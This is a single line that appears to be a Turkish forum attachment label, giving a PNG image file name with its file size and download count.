000-team-03-team-e781f7.png (Dosya Boyutu: 62.89 KB / İndirme Sayısı: 11)